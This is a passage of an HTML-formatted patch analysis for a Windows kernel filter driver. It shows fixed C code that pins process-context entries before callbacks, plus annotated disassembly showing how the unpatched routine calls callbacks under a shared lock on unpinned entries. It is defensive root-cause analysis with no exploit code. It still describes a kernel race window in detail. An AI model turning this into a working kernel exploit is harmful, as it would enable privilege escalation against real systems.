&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buckets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sentinel&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;SecReferenceProcessContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// pin each entry&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;snap&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FltReleasePushLockEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// release BEFORE callbacks&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;snap&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// safe: entries are pinned&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SecReleaseProcessContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;snap&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SecFreePool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;snap&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;Scce&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;Unpatched &lt;code&gt;SecEnumerateProcessContexts&lt;/code&gt;, showing the callback invoked while the shared lock is held with no reference on the entry.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;---- SecEnumerateProcessContexts @ 0x14002CF04 (unpatched) ----&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF29&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+4F8h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF30&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;initialization&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF34&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14002CFAF&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF36&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF3F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF43&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FltAcquirePushLockSharedEx_0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SHARED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;window&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;opens&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF53&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buckets&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF58&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+140h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF5F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+r8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF65&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi-10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF69&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF6C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;advance&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="k"&gt;next&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF6F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                                                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;invoked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;under&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SHARED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                                                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reference&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pinned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;SecProcessTable&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF7F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+140h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF86&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+r8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF8A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF8D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14002CF65&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF97&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CF9B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_14002CF5F&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;next&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bucket&lt;/span&gt;
&lt;span class="mi"&gt;000000014002&lt;/span&gt;&lt;span class="n"&gt;CFAA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FltReleasePushLockEx_0&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;window&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;closes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched reference-and-snapshot path (default) collects and pins entries, then releases the lock before the callbacks:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;----&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SecEnumerateProcessContexts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x14002CFC0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;patched&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;snapshot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;----&lt;/span&gt;
&lt;span class="nt"&gt;000000014002D013&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;xmmword_14001B740&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;8&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SecData&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;0x510&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0&lt;/span&gt;
&lt;span class="nt"&gt;000000014002D01A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_14002D086&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;CLEAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;snapshot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;default&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                                                     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SET&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;in-lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;path&lt;/span&gt;
&lt;span class="nt"&gt;000000014002D08D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movsxd&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;148&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;count&lt;/span&gt;
